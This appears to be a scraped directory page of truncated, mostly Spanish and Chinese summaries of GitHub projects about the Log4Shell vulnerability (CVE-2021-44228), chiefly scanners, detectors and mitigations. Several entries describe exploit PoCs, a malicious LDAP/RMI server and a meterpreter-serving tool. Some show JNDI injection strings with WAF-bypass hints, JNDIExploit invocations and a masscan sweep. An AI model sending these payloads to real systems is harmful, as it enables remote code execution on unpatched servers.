horrors-log4shell

horrors-log4shell Un microlaboratorio ¿campo de pruebas? para CVE-2021-44228 log4j Puede usarse para ejecutar payloads contra múltiples objetivos. Los payloads específicos para cada objetivo se generan en tiempo de ejecución. Configuración ajustable y bypasses. Instalación Requisitos relacionados...

checkmk-log4j-scanner

用于检查 log4j2 CVE-2021-44228 的 checkmk 扩展 此插件封装了 logpresso/CVE-2021-44228-Scanner（Apache License 2.0） 工作原理 运行分为 5 步： 1. 递归查找所有 .jar、.war、.ear、.aar 文件。 2. 在 JAR 文件中查找 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 条目。 3. 读取 groupId、artifactId 和 version。 4. 比较 log4j2 版本并打印存在漏洞的版本。...

log4j_CVE-2021-44228

Este repositorio no tiene un README...

log4j2-CVE-2021-44228-poc-local

log4j2-CVE-2021-44228-poc-local Solo una prueba de concepto personal de CVE-2021-44228 en log4j2...

log4jScan

log4jScan escáner simple en Python para verificar si tu red es vulnerable a CVE-2021-44228 uso : root@kitploit: git clone https://github.com/sinakeshmiri/log4jScan.git java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $YOURPRIVATEIP -p 8888 sudo masscan -p 80,443 192.168.0.0/16 hosts.txt /bin/python...

log4j_scanner

Escáner de sistema de archivos log4jscanner para Windows y Unix. Buscando CVE-2021-44228, CVE-2021-45046, CVE-2019-17571, CVE-2021-44832 Requiere un mínimo de Python 2.7. Puede ejecutarse como Regla de Script Personalizado de una Auditoría o mediante un Script de Servidor con Automatización de...

log4j-detector

Log4j-检测器 扫描器，用于检测易受攻击的 Log4J 版本，帮助团队评估其对 CVE-2021-44228（严重）、CVE-2021-45046、CVE-2021-45105 和 CVE-2021-44832 的暴露程度。可通过仔细检查整个文件系统（包括所有已安装的应用程序）来搜索 Log4J 实例。它能够找到隐藏多层深处的 Log4J 实例。适用于 Linux、Windows 和 Mac，以及 Java 能运行的任何地方！ 目录 简介 使用示例 更多使用示例 理解结果 用法 从源码构建 测试 许可证 常见问题解答 它是如何工作的？ 此扫描仪仅报告对 log4j-core...

CVE-2021-44228

CVE-2021-44228 log4shell POC Herramienta de escaneo log4j Esta herramienta te ayudará a identificar la vulnerabilidad de ejecución remota de código log4j en tus sistemas. Requisitos Necesitarás instalar httpx, subfinder, assetfinder, curl y amass para ejecutar el script bash. Instalación 1...

log4shell-mitigation

Detalles y estrategia de mitigación para la vulnerabilidad RCE de log4j2 Visite este video de Youtube para obtener detalles adicionales. https://youtu.be/jqWdwTeGRK0 Esta es una publicación rápida sobre la mitigación de la vulnerabilidad de seguridad CVE-2021-44228, también conocida como Log4Shel...

log4j2-issue-check

Evaluar Log4Shell: Vulnerabilidad de RCE Día Cero Este repositorio contiene el código para evaluar la vulnerabilidad Log4j2 CVE-2021-44228 Más detalles https://www.lunasec.io/docs/blog/log4j-zero-day/ Cómo probar Envíe una solicitud GET con el parámetro de consulta $jndi:ldap://127.0.0.1:3089/...

CVE-2021-44228

CVE-2021-44228 PoC Log4Shell ⚠️ Aviso legal: Esta herramienta está destinada solo a fines educativos, investigación de seguridad y entornos de prueba controlados. Usarla contra sistemas sin permiso explícito es ilegal y es responsabilidad exclusiva del usuario. 📌 Descripción Este proyecto contiene...

log4j-vulnerability-patcher-agent

log4j-vulnerability-patcher-agent This agent fixes critical vulnerability CVE-2021-44228 in log4j by patching JndiLookup class, as recommended here. WARNING: this is not a substitute for proper upgrade to log4j 2.15.0 , where this vulnerability was fixed for good. Use this agent IF, and ONLY IF,...

l4srs

l4srs Implementación en Rust de Log 4 Shell log4j - CVE-2021-44228 para compilar ejecuta cargo +nightly build Esta versión te permitirá construir clases de comando, servir dinámicamente un mini meterpreter que se ejecuta en un hilo de la aplicación Java explotada, y ejecutar los servidores LDAP y...

log4v-vuln-check

Log4JS Escáner de Archivos y Vulnerabilidades + Escáner de Enlace de Puertos Locales Este script se utiliza para realizar una verificación rápida para ver si su servidor posiblemente está afectado por CVE-2021-44228 la vulnerabilidad log4j. No proporciona una garantía del 100 % de que no sea...

log4j_checker_beta

log4jcheckerbeta - Scripts para Linux, macOS y Windows Si deseas usar los cradles de descarga de Windows/Linux a continuación, revisa los scripts de antemano. Cargar código de internet y ejecutarlo es lo que nos trajo aquí con Log4Shell, ¿verdad? ;- Servidores o clientes Linux y macOS El script...

log4shell-vulnerable-app

Aplicación vulnerable Este repositorio contiene una aplicación web Spring Boot vulnerable a CVE-2021-44228, conocida como log4shell. Usa log-4j-core:2.14.1 a través de spring-boot-starter-log4j2 y openjdk:8u181 Ejecutando la aplicación Ejecútalo: root@kitploit: docker run --name vulnerable-app --...

log4j-cve-2021-44228

Log4j CVE-2021-44228 y CVE-2021-45046 Requisitos Use un JDK vulnerable, por ejemplo JDK 1.8.0181 Uso Servidor malicioso El servidor malicioso despliega los siguientes endpoints: 1389 servidor LDAP 1099 servidor RMI 8081 servidor HTTP root@kitploit: ./gradlew :malicious-server:bootRun Aplicación...

Log4J_0day_RCE

Únete a la Comunidad Telegram CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas puedes usar JNDI-Injection-Exploit para explotar. Bypass rc1 Por ejemplo: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF...

log4j-log4shell-playground

Acerca de Un campo de pruebas para experimentar con las mitigaciones de la vulnerabilidad crítica log4j también conocida como Log4Shell CVE-2021-44228. Este problema en particular reside en la función JndiLookup y en la capacidad de log4j de interpretar TODOS los argumentos de una llamada de...

log4jcheck

Comprobador de Log4j CVE-2021-44228 Comprueba de forma multihilo una lista de URLs con peticiones POST y GET en combinación con parámetros. Muy inspirado en la versión de NortwaveSecurity. Configuración URLs a comprobar La lista de URLs a comprobar debe tener el siguiente formato csv:...